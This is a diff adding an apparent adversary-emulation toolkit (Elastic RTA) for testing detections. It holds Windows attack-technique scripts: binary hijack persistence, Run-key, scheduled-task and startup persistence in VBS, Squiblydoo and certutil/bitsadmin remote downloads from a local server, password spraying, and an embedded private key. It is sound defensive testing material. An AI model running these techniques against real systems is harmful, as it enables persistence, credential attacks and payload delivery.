diff --git a/rta/__init__.py b/rta/__init__.py
new file mode 100644
index 000000000..aa71197ac
--- /dev/null
+++ b/rta/__init__.py
@@ -0,0 +1,43 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+import glob
+import importlib
+import os
+
+from . import common
+
+CURRENT_DIR = os.path.dirname(os.path.abspath(__file__))
+
+
+def get_ttp_list(os_types=None):
+ scripts = []
+ if os_types and not isinstance(os_types, (list, tuple)):
+ os_types = [os_types]
+
+ for script in sorted(glob.glob(os.path.join(CURRENT_DIR, "*.py"))):
+ base_name, _ = os.path.splitext(os.path.basename(script))
+ if base_name not in ("common", "main") and not base_name.startswith("_"):
+ if os_types:
+ # Import it and skip it if it's not supported
+ importlib.import_module(__name__ + "." + base_name)
+ if not any(base_name in common.OS_MAPPING[os_type] for os_type in os_types):
+ continue
+
+ scripts.append(script)
+
+ return scripts
+
+
+def get_ttp_names(os_types=None):
+ names = []
+ for script in get_ttp_list(os_types):
+ basename, ext = os.path.splitext(os.path.basename(script))
+ names.append(basename)
+ return names
+
+
+__all__ = (
+ "common"
+)
diff --git a/rta/__main__.py b/rta/__main__.py
new file mode 100644
index 000000000..a5173ca2f
--- /dev/null
+++ b/rta/__main__.py
@@ -0,0 +1,21 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+import argparse
+import importlib
+import os
+
+from . import get_ttp_names
+
+parser = argparse.ArgumentParser("rta")
+parser.add_argument("ttp_name")
+
+parsed_args, remaining = parser.parse_known_args()
+ttp_name, _ = os.path.splitext(os.path.basename(parsed_args.ttp_name))
+
+if ttp_name not in get_ttp_names():
+ raise ValueError("Unknown RTA {}".format(ttp_name))
+
+module = importlib.import_module("rta." + ttp_name)
+exit(module.main(*remaining))
diff --git a/rta/adobe_hijack.py b/rta/adobe_hijack.py
new file mode 100644
index 000000000..e58c788ae
--- /dev/null
+++ b/rta/adobe_hijack.py
@@ -0,0 +1,46 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Adobe Hijack Persistence
+# RTA: adobe_hijack.py
+# ATT&CK: T1044
+# Description: Replaces PE file that will run on Adobe Reader start.
+
+import os
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ rdr_cef_dir = "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
+ rdrcef_exe = os.path.join(rdr_cef_dir, "RdrCEF.exe")
+ cmd_path = "C:\\Windows\\System32\\cmd.exe"
+ backup = os.path.abspath("xxxxxx")
+ backedup = False
+
+ # backup original if it exists
+ if os.path.isfile(rdrcef_exe):
+ common.log("{} already exists, backing up file.".format(rdrcef_exe))
+ common.copy_file(rdrcef_exe, backup)
+ backedup = True
+ else:
+ common.log("{} doesn't exist. Creating path.".format(rdrcef_exe))
+ os.makedirs(rdr_cef_dir)
+
+ # overwrite original
+ common.copy_file(cmd_path, rdrcef_exe)
+
+ # cleanup
+ if backedup:
+ common.log("Putting back backup copy.")
+ common.copy_file(backup, rdrcef_exe)
+ os.remove(backup)
+ else:
+ common.remove_file(rdrcef_exe)
+ os.removedirs(rdr_cef_dir)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/appcompat_shim.py b/rta/appcompat_shim.py
new file mode 100644
index 000000000..93c8ad2a2
--- /dev/null
+++ b/rta/appcompat_shim.py
@@ -0,0 +1,30 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Application Compatibility Shims
+# RTA: appcompat_shim.py
+# ATT&CK: T1138
+# Description: Use sdbinst.exe to install a binary patch/application shim.
+
+import time
+
+from . import common
+
+SHIM_FILE = common.get_path("bin", "CVE-2013-3893.sdb")
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(SHIM_FILE)
+def main():
+ common.log("Application Compatibility Shims")
+
+ common.execute(["sdbinst.exe", "-q", "-p", SHIM_FILE])
+ time.sleep(2)
+
+ common.log("Removing installed shim", log_type="-")
+ common.execute(["sdbinst.exe", "-u", SHIM_FILE])
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/at_command.py b/rta/at_command.py
new file mode 100644
index 000000000..d82a523da
--- /dev/null
+++ b/rta/at_command.py
@@ -0,0 +1,57 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: AT Command Lateral Movement
+# RTA: at_command.py
+# ATT&CK: T1053
+# Description: Enumerates at tasks on target host, and schedules an at job for one hour in the future. Then checks the
+# status of that task, and deletes the task.
+
+import datetime
+import re
+import sys
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main(target_host=None):
+ target_host = target_host or common.get_ip()
+ host_str = '\\\\%s' % target_host
+
+ # Current time at \\localhost is 11/16/2017 11:25:50 AM
+ code, output = common.execute(['net', 'time', host_str])
+ match = re.search(r'Current time at .*? is (\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+) (AM|PM)', output)
+ groups = match.groups()
+ m, d, y, hh, mm, ss, period = groups
+ now = datetime.datetime(month=int(m), day=int(d), year=int(y), hour=int(hh), minute=int(mm), second=int(ss))
+ if period == 'PM' and hh != '12':
+ now += datetime.timedelta(hours=12)
+
+ # Add one hour
+ task_time = now + datetime.timedelta(hours=1)
+
+ # Round down minutes
+ time_string = '%d:%d' % (task_time.hour, task_time.minute)
+
+ # Enumerate all remote tasks
+ common.execute(['at.exe', host_str])
+
+ # Create a job 1 hour into the future
+ code, output = common.execute(['at', host_str, time_string, 'cmd /c echo hello world'])
+
+ if code == 1 and 'deprecated' in output:
+ common.log("Unable to continue RTA. Not supported in this version of Windows")
+ return common.UNSUPPORTED_RTA
+
+ if code == 0:
+ job_id = re.search('ID = (\d+)', output).group(1)
+
+ # Check status and delete
+ common.execute(['at.exe', host_str, job_id])
+ common.execute(['at.exe', host_str, job_id, '/delete'])
+
+
+if __name__ == "__main__":
+ exit(main(*sys.argv[1:]))
diff --git a/rta/bin/BadTasks.csproj b/rta/bin/BadTasks.csproj
new file mode 100644
index 000000000..4caf2ac13
--- /dev/null
+++ b/rta/bin/BadTasks.csproj
@@ -0,0 +1,65 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/rta/bin/Installer.msi b/rta/bin/Installer.msi
new file mode 100644
index 000000000..bc6b4d0dd
Binary files /dev/null and b/rta/bin/Installer.msi differ
diff --git a/rta/bin/PsRunner.exe b/rta/bin/PsRunner.exe
new file mode 100644
index 000000000..03b2bcb54
Binary files /dev/null and b/rta/bin/PsRunner.exe differ
diff --git a/rta/bin/TrustProvider32.dll b/rta/bin/TrustProvider32.dll
new file mode 100644
index 000000000..9302596dd
Binary files /dev/null and b/rta/bin/TrustProvider32.dll differ
diff --git a/rta/bin/TrustProvider64.dll b/rta/bin/TrustProvider64.dll
new file mode 100644
index 000000000..cfdee715a
Binary files /dev/null and b/rta/bin/TrustProvider64.dll differ
diff --git a/rta/bin/__init__.py b/rta/bin/__init__.py
new file mode 100644
index 000000000..7f7806bc8
--- /dev/null
+++ b/rta/bin/__init__.py
@@ -0,0 +1,4 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
diff --git a/rta/bin/beacon.hta b/rta/bin/beacon.hta
new file mode 100644
index 000000000..659ed06dc
--- /dev/null
+++ b/rta/bin/beacon.hta
@@ -0,0 +1,11 @@
+
+
+
+
+
diff --git a/rta/bin/cscript.xsl b/rta/bin/cscript.xsl
new file mode 100644
index 000000000..b7d7a44c2
--- /dev/null
+++ b/rta/bin/cscript.xsl
@@ -0,0 +1,21 @@
+
+
+
+
+
+function xml(nodelist)
+{
+ var xhr=new ActiveXObject("Msxml2.XMLHttp.6.0");
+ xhr.open("GET","http://127.0.0.1:8000",false);
+ xhr.send();
+
+ return nodelist.nextNode().xml;
+}
+
+
+
+
+
diff --git a/rta/bin/customers.xml b/rta/bin/customers.xml
new file mode 100644
index 000000000..4fc41b93d
--- /dev/null
+++ b/rta/bin/customers.xml
@@ -0,0 +1,14 @@
+
+
+
+
+ John Smith
+ 123 Elm St.
+ (123) 456-7890
+
+
+ Mary Jones
+ 456 Oak Ave.
+ (156) 789-0123
+
+
diff --git a/rta/bin/myapp.exe b/rta/bin/myapp.exe
new file mode 100644
index 000000000..e72b904fe
Binary files /dev/null and b/rta/bin/myapp.exe differ
diff --git a/rta/bin/myapp_x64.exe b/rta/bin/myapp_x64.exe
new file mode 100644
index 000000000..941ec8e74
Binary files /dev/null and b/rta/bin/myapp_x64.exe differ
diff --git a/rta/bin/mydll.dll b/rta/bin/mydll.dll
new file mode 100644
index 000000000..b29ebb983
Binary files /dev/null and b/rta/bin/mydll.dll differ
diff --git a/rta/bin/mydll_x64.dll b/rta/bin/mydll_x64.dll
new file mode 100644
index 000000000..14cebf890
Binary files /dev/null and b/rta/bin/mydll_x64.dll differ
diff --git a/rta/bin/mydotnet.exe b/rta/bin/mydotnet.exe
new file mode 100644
index 000000000..54692dda1
Binary files /dev/null and b/rta/bin/mydotnet.exe differ
diff --git a/rta/bin/mydotnet.tlb b/rta/bin/mydotnet.tlb
new file mode 100644
index 000000000..5044347f8
Binary files /dev/null and b/rta/bin/mydotnet.tlb differ
diff --git a/rta/bin/myservice32.dll b/rta/bin/myservice32.dll
new file mode 100755
index 000000000..d42f6d6a0
Binary files /dev/null and b/rta/bin/myservice32.dll differ
diff --git a/rta/bin/myservice64.dll b/rta/bin/myservice64.dll
new file mode 100644
index 000000000..326417d4a
Binary files /dev/null and b/rta/bin/myservice64.dll differ
diff --git a/rta/bin/notepad.sct b/rta/bin/notepad.sct
new file mode 100644
index 000000000..649414204
--- /dev/null
+++ b/rta/bin/notepad.sct
@@ -0,0 +1,12 @@
+
+
+
+
+
+
diff --git a/rta/bin/persistent_script.vbs b/rta/bin/persistent_script.vbs
new file mode 100644
index 000000000..f7e998842
--- /dev/null
+++ b/rta/bin/persistent_script.vbs
@@ -0,0 +1,123 @@
+dim shellobj
+dim fs
+dim logFile
+
+set fs = CreateObject("Scripting.FileSystemObject")
+set shellObj = WScript.CreateObject("wscript.shell")
+
+name = "rta-vbs-persistence"
+logPath = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & ".log"
+
+set logFile = fs.OpenTextFile(logPath, 8, True)
+
+startupDir = shellObj.SpecialFolders("Startup")
+shortcutLink = startupDir & "\" & name & "-startup.lnk"
+
+startupTarget = startupDir & "\" & name & "-startup.vbs"
+shortcutTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-startup-shortcut.vbs"
+taskTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-task.vbs"
+runTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-run-key.vbs"
+
+runKey = "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & name
+
+
+function log(logType, message)
+ line = "[" & logType & "] " & wscript.ScriptName & " - " & message
+ ' WScript.Echo line
+ logFile.WriteLine line
+end function
+
+function logLine
+ logFile.WriteLine ""
+end function
+
+
+'Add self logging functions
+function copyScript(target)
+ log "+", "Copying " & wscript.ScriptFullName & " to " & target
+ fs.CopyFile wscript.ScriptFullName, target, true
+end function
+
+function deleteFile(path)
+ log "-", "Deleting " & path
+ fs.DeleteFile(path)
+end function
+
+function run(command)
+ log ">", command
+ errorCode = shellObj.Run(command, 0, True)
+ if errorCode <> 0 then
+ log ">", "exit code = " & errorCode
+ end if
+end function
+
+function deleteScript()
+ deleteFile wscript.ScriptFullName
+end function
+
+
+log "=", "Started"
+
+'Establish persistence or remove persistence after the first execution
+if wscript.ScriptFullName = shortcutTarget then
+ 'Check if this is running and came from a shortcut
+ log "+", "Running from a shortcut target"
+ deleteScript
+ deleteFile shortcutLink
+
+elseif wscript.ScriptFullName = startupTarget then
+ 'Delete the file
+ log "+", "Running from the startup folder directly"
+ deleteScript
+
+elseif wscript.ScriptFullName = taskTarget then
+ 'Remove the task and the file
+ log "+", "Running as a scheduled task"
+ deleteScript
+ run "schtasks.exe /delete /f /tn " & name
+
+elseif wscript.ScriptFullName = runTarget then
+ 'Remove the registry key and the file
+ log "+", "Running as a run item"
+ deleteScript
+ log "-", "Removing registry key " & runKey
+ shellObj.RegDelete runKey
+
+else
+ 'Copy the file to a few locations
+ dim shortcut
+ log "+", "Establish Persistence" & crlf
+
+
+ 'Copy to the StartUp directory
+ log "+", "Startup File"
+ copyScript startupTarget
+ logLine
+
+ 'Create a shortcut in the StartUp directory
+ log "+", "Startup Shortcut"
+ copyScript shortcutTarget
+ set shortcut = shellObj.CreateShortcut(shortcutLink)
+ shortcut.TargetPath = "wscript.exe"
+ shortcut.Arguments = "//B " & chrw(34) & shortcutTarget & chrw(34)
+ shortcut.save()
+ logLine
+
+ 'Create a scheduled task
+ log "-", "Scheduled Task" & crlf
+ copyScript taskTarget
+ run "schtasks.exe /create /f /sc onlogon /tn " & name & " /tr " & chrw(34) & "wscript.exe //B " & ("\" & chrw(34)) & runTarget & ("\" & chrw(34)) & chrw(34)
+ logLine
+
+ 'Create the run key
+ log "+", "Run Key via Registry"
+ copyScript runTarget
+ shellObj.RegWrite runKey, "wscript.exe //B " & chrw(34) & runTarget & chrw(34), "REG_SZ"
+ logLine
+
+end if
+
+log "-", "Exiting"
+logFile.WriteLine ""
+logFile.WriteLine ""
+logFile.Close()
\ No newline at end of file
diff --git a/rta/bin/privkey.pem b/rta/bin/privkey.pem
new file mode 100644
index 000000000..4c115a44f
--- /dev/null
+++ b/rta/bin/privkey.pem
@@ -0,0 +1,27 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIEowIBAAKCAQEAuy7HkecTrKhGuZW7/KugrrUNmNGPjvZGXTpGJIb3ycU5KSNk
+VutDTpjL6QpqJc4O/2J77lEjGsx+H+CUcrXSK5cSifD5Qd73ZRM6wnfulpUBKJoi
+LasX7umpRtx/xwOQGvDBBYvB6QVhvmlisqkhRIZLphi4qxfBJ1+RzfsG8JNvDmvl
+tkEogGMaj5rVplbhKycSkuqflEF+tuhnSCiLgAAyFcFzhDp1sJP7mHf0RX1qxGtq
+1e+OduZxA8omDB3urvZ+3smCnEgYk920Ikbzs5zEjwHMgh6mtqLLO1xLOefTFWUM
++i6z05mowdi3l3e26LOQLhHftBxh88W41b60mwIDAQABAoIBACyJ4v66hxnsKHf8
+QvDKPb+UYRnds1UHEJMaTJpgaxFdlk5Nl5B/BlLrVIms6rj4IOVvn6GDOOEli1U2
+cNwim1G37rdX2VdtIFyyiKbBNsopxk7M7hkDvvwgKSEtUlIebOmcI7GYIZm6qBlQ
+piVwzPOrKNDqzPYY/uLJgL4MXwhbBDzgi4qsNOFol05r0YISiHxI3CRmk0zFQnwr
+xIIg4WR6NbWKVp/CLfGrJFwE0wG9J1D3xf3hclHKEmOCuEI0PuGQqH7gwzfPxCT5
+kzfi513iqTRvxwn0euUY9qqHZNuMoW3p7oGvObgZhRmN1qlE5kmN1moZhlcQuIkr
+enhCVCECgYEA378gwqZdsWLinMwScSDNz3WAc8rThwdB3qz3cBRFWFV0/qlMLxpC
+ne+kSBekym3vNK4ZWJf6XHpVodHGB3mSVOCGAgziEy5nlVtoO64qQoa6gTDAjdEv
+eGh27lEresi3MiP9JHE7TN3nwcjlpuRfnutqgnlVJeVmwasDB/E2vGkCgYEA1ipX
+5vUZz7z7LU5VNPskn5naGHkuLrlQaCqKWdXMOXsOoP3w4Z4PptWzroa/i5O4OGqV
+2x7wkAAa73oqRnt8+OTwCxfzBhdQDCfIw9joZrJiCCbqNny8zQcXBI2AcdWaI2m3
+jfzKXtxtCAz2WFLE1g2RjLSjw/F2XPpjN9daGGMCgYBa7ueWlFyhuimVRg78sTNT
+7FJPPRBo4Vcw86UAhQyF0P1iflW7EvYeEAX5UrqjlrhP9a3RZrrWmNVylbng0dTZ
+8AImlSvQVdy9Q9AB6U+9h9oGpVSsjma3jeVAB/ceyLJDi4LXK7nJDKqjBE3pXQlL
+oivAaSVk6G2xqhnqQWtYeQKBgQDRWuk888J8qc+cNWPj+9GMVzi1DdjQggURHuzJ
+7s7KLfpZ9IPB+eJxA5y3ci/SwN+n/sFpR3CARCoQigrDhbngEOR647mE7cspZsbC
+dMqSgbSFJY11IDDr+A9POwghv14DWje+DCzD2JSY9xrlsluKqA7tTjR8uhEryPSu
+xMzk4wKBgCufVxHkqM1wWF8Mt80YIluTx+NJSx8UF8TCYeeJimO0MAPMp7u9mSSh
+upElHcfKf2fnACO8IHuDMx6luAo+BAdSzOtkERK9rwJ5y0Ktef58MhuMY8jmKKrD
+NcKPu3VXnLZ6Gc3qF2Kiy2Qqz0sNqtDsr9L1c9To55GeJ4uZt0BU
+-----END RSA PRIVATE KEY-----
diff --git a/rta/bin/script_launch.inf b/rta/bin/script_launch.inf
new file mode 100644
index 000000000..7a73ad5a2
--- /dev/null
+++ b/rta/bin/script_launch.inf
@@ -0,0 +1,8 @@
+[Version]
+Signature=$CHICAGO$
+
+[DefaultInstall]
+UnregisterDlls = Squiblydoo
+
+[Squiblydoo]
+11,,scrobj.dll,2,60,http://127.0.0.1:8000/bin/notepad.sct
diff --git a/rta/bin/trustprovider_LICENSE b/rta/bin/trustprovider_LICENSE
new file mode 100644
index 000000000..87b0bfe8a
--- /dev/null
+++ b/rta/bin/trustprovider_LICENSE
@@ -0,0 +1,29 @@
+BSD 3-Clause License
+
+Copyright (c) 2017, Matt Graeber
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+* Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer.
+
+* Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution.
+
+* Neither the name of the copyright holder nor the names of its
+ contributors may be used to endorse or promote products derived from
+ this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/rta/bitsadmin_download.py b/rta/bitsadmin_download.py
new file mode 100644
index 000000000..b7ad524cf
--- /dev/null
+++ b/rta/bitsadmin_download.py
@@ -0,0 +1,36 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Suspicious BitsAdmin Download File
+# RTA: bitsadmin_download.py
+# ATT&CK: T1197
+# Description: Runs BitsAdmin to download file via command line.
+
+
+import os
+import subprocess
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Running Windows BitsAdmin to Download")
+ server, ip, port = common.serve_web()
+ url = "http://" + ip + ":" + str(port) + "/bin/myapp.exe"
+ dest_path = os.path.abspath("myapp-test.exe")
+ fake_word = os.path.abspath("winword.exe")
+
+ common.log("Emulating parent process: {parent}".format(parent=fake_word))
+ common.copy_file("C:\\Windows\\System32\\cmd.exe", fake_word)
+
+ command = subprocess.list2cmdline(['bitsadmin.exe', '/Transfer', '/Download', url, dest_path])
+ common.execute([fake_word, "/c", command], timeout=15, kill=True)
+ common.execute(['taskkill', '/f', '/im', 'bitsadmin.exe'])
+
+ common.remove_files(dest_path, fake_word)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/brute_force_login.py b/rta/brute_force_login.py
new file mode 100644
index 000000000..a0d8a6e95
--- /dev/null
+++ b/rta/brute_force_login.py
@@ -0,0 +1,54 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Brute Force Login Attempts
+# RTA: brute_force_login.py
+# ATT&CK: T1110
+# Description: Simulates brute force or password spraying tactics.
+# Remote audit failures must be enabled to trigger: `auditpol /set /subcategory:"Logon" /failure:enable`
+
+import random
+import string
+import sys
+import time
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main(remote_host=None):
+ if not remote_host:
+ common.log('A remote host is required to detonate this RTA', '!')
+ return common.MISSING_REMOTE_HOST
+
+ common.enable_logon_auditing(remote_host)
+
+ common.log('Brute forcing login with invalid password against {}'.format(remote_host))
+ ps_command = '''
+ $PW = ConvertTo-SecureString "Lose-y0urse1f" -AsPlainText -Force
+ $CREDS = New-Object System.Management.Automation.PsCredential {username}, $PW
+ Invoke-WmiMethod -ComputerName {host} -Class Win32_process -Name create -ArgumentList ipconfig -Credential $CREDS
+ '''
+ command = ['powershell', '-c', ps_command.format(username='zeus', host=remote_host)]
+
+ # fail 4 times - the first 3 concurrently and wait for the final to complete
+ for i in range(4):
+ common.execute(command, wait=i == 3)
+
+ time.sleep(1)
+
+ common.log('Password spraying against {}'.format(remote_host))
+
+ # fail 5 times - the first 4 concurrently and wait for the final to complete
+ for i in range(5):
+ random_user = ''.join(random.sample(string.ascii_letters, 10))
+ command = ['powershell', '-c', ps_command.format(username=random_user, host=remote_host)]
+ common.execute(command, wait=i == 4)
+
+ # allow time for audit event to process
+ time.sleep(2)
+
+
+if __name__ == "__main__":
+ exit(main(*sys.argv[1:]))
diff --git a/rta/certutil_file_obfuscation.py b/rta/certutil_file_obfuscation.py
new file mode 100644
index 000000000..a0b16b249
--- /dev/null
+++ b/rta/certutil_file_obfuscation.py
@@ -0,0 +1,31 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Certutil Encode / Decode
+# RTA: certutil_file_obfuscation.py
+# ATT&CK: T1140
+# Description: Uses certutil to create an encoded copy of cmd.exe. Then uses certutil to decode that copy.
+
+import os
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Encoding target")
+ encoded_file = os.path.abspath('encoded.txt')
+ decoded_file = os.path.abspath('decoded.exe')
+ common.execute(["c:\\Windows\\System32\\certutil.exe", "-encode", "c:\\windows\\system32\\cmd.exe", encoded_file])
+
+ common.log("Decoding target")
+ common.execute(["c:\\Windows\\System32\\certutil.exe", "-decode", encoded_file, decoded_file])
+
+ common.log("Cleaning up")
+ common.remove_file(encoded_file)
+ common.remove_file(decoded_file)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/certutil_webrequest.py b/rta/certutil_webrequest.py
new file mode 100644
index 000000000..ea1c10524
--- /dev/null
+++ b/rta/certutil_webrequest.py
@@ -0,0 +1,33 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Downloading Files With Certutil
+# RTA: certutil_webrequest.py
+# ATT&CK: T1105
+# Description: Uses certutil.exe to download a file.
+
+from . import common
+
+MY_DLL = common.get_path("bin", "mydll.dll")
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(MY_DLL)
+def main():
+ # http server will terminate on main thread exit
+ # if daemon is True
+ server, ip, port = common.serve_web()
+
+ uri = "bin/mydll.dll"
+ target_file = "mydll.dll"
+ common.clear_web_cache()
+ url = "http://{ip}:{port}/{uri}".format(ip=ip, port=port, uri=uri)
+ common.execute(["certutil.exe", "-urlcache", "-split", "-f", url, target_file])
+
+ server.shutdown()
+ common.remove_file(target_file)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/common.py b/rta/common.py
new file mode 100644
index 000000000..ad6a634b9
--- /dev/null
+++ b/rta/common.py
@@ -0,0 +1,633 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+from __future__ import unicode_literals, print_function
+
+import binascii
+import contextlib
+import functools
+import getpass
+import inspect
+import os
+import re
+import shutil
+import socket
+import subprocess
+import sys
+import tempfile
+import threading
+import time
+
+try:
+ from SimpleHTTPServer import SimpleHTTPRequestHandler
+except ImportError:
+ from http.server import SimpleHTTPRequestHandler
+try:
+ from SocketServer import TCPServer
+except ImportError:
+ from http.server import HTTPServer as TCPServer
+
+to_unicode = type(u"")
+long_t = type(1 << 63)
+strings = str, type(u"")
+
+HOSTNAME = socket.gethostname()
+LOCAL_IP = None
+
+
+def get_ip():
+ global LOCAL_IP, HOSTNAME
+
+ if LOCAL_IP is None:
+ try:
+ LOCAL_IP = socket.gethostbyname(HOSTNAME)
+ except socket.gaierror:
+ LOCAL_IP = "127.0.0.1"
+
+ return LOCAL_IP
+
+
+def get_winreg():
+ try:
+ import _winreg as winreg
+ except ImportError:
+ import winreg
+ return winreg
+
+
+# Multi-OS Support
+WINDOWS = "windows"
+MACOS = "macos"
+LINUX = "linux"
+
+if sys.platform == "darwin":
+ CURRENT_OS = MACOS
+elif sys.platform.startswith("win"):
+ CURRENT_OS = WINDOWS
+else:
+ CURRENT_OS = LINUX
+
+if CURRENT_OS == WINDOWS:
+ CMD_PATH = os.environ.get("COMSPEC")
+ POWERSHELL_PATH = 'C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
+else:
+ CMD_PATH = "/bin/sh"
+ POWERSHELL_PATH = None
+
+BASE_DIR = os.path.dirname(os.path.abspath(__file__))
+ALL_IP = "0.0.0.0"
+IP_REGEX = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
+CALLBACK_REGEX = r"https?://" + IP_REGEX + r":\d+"
+
+USER_NAME = getpass.getuser().lower()
+
+SUCCESS = 0
+PYTHON_ERROR = 1 # Python does this internally, so we don't want to overwrite it
+GENERAL_ERROR = 2
+MISSING_DEPENDENCIES = 3
+MISSING_PSEXEC = 4
+ACCESS_DENIED = 5
+UNSUPPORTED_RTA = 6
+MISSING_REMOTE_HOST = 7
+
+# Amount of seconds a command should take at a minimum.
+# This can allow for arbitrary slow down of scripts
+MIN_EXECUTION_TIME = 0
+
+MAX_HOSTS = 64
+
+# Useful constants
+HKLM = "hklm"
+HKCU = "hkcu"
+HKU = "hku"
+HKCR = "hkcr"
+
+SZ = "sz"
+EXPAND_SZ = "expand_sz"
+MULTI_SZ = "multi_sz"
+DWORD = "dword"
+
+
+OS_MAPPING = {WINDOWS: [], MACOS: [], LINUX: []}
+
+
+def requires_os(*os_list):
+ if len(os_list) == 1 and isinstance(os_list[0], (list, tuple)):
+ os_list = os_list[0]
+
+ def decorator(f):
+ # Register this function with the support os mapping
+ for os_type in os_list:
+ OS_MAPPING[os_type].append(f.__module__.split(".")[-1])
+
+ @functools.wraps(f)
+ def decorated(*args, **kwargs):
+ if CURRENT_OS not in os_list:
+ filename = os.path.relpath(inspect.getsourcefile(f))
+ func_name = f.__name__
+
+ log("Unsupported OS for {filename}:{func}(). Expected {os}".format(
+ filename=filename, func=func_name, os="/".join(os_list)), "!")
+ return UNSUPPORTED_RTA
+ return f(*args, **kwargs)
+ return decorated
+ return decorator
+
+
+def check_dependencies(*paths):
+ missing = []
+ for path in paths:
+ if not os.path.exists(path):
+ log("Missing dependency %s" % path, "!")
+ missing.append(path)
+ return len(missing) == 0
+
+
+def dependencies(*paths):
+ missing = []
+ for path in paths:
+ if not os.path.exists(path):
+ missing.append(path)
+
+ def decorator(f):
+ @functools.wraps(f)
+ def decorated(*args, **kwargs):
+ if len(missing):
+ log("Missing dependencies for %s:%s()" % (f.func_code.co_filename, f.func_code.co_name), "!")
+ for dep in missing:
+ print(" - %s" % os.path.relpath(dep, BASE_DIR))
+ return MISSING_DEPENDENCIES
+ return f(*args, **kwargs)
+ return decorated
+ return decorator
+
+
+def pause():
+ time.sleep(0.5)
+
+
+def get_path(*path):
+ return os.path.join(BASE_DIR, *path)
+
+
+@contextlib.contextmanager
+def temporary_file(contents, file_name=None):
+ handle, close = temporary_file_helper(contents, file_name)
+
+ try:
+ yield handle
+ finally:
+ close()
+
+
+def temporary_file_helper(contents, file_name=None):
+ if not (file_name and os.path.isabs(file_name)):
+ file_name = os.path.join(tempfile.gettempdir(), file_name or 'temp{:d}'.format(hash(contents)))
+
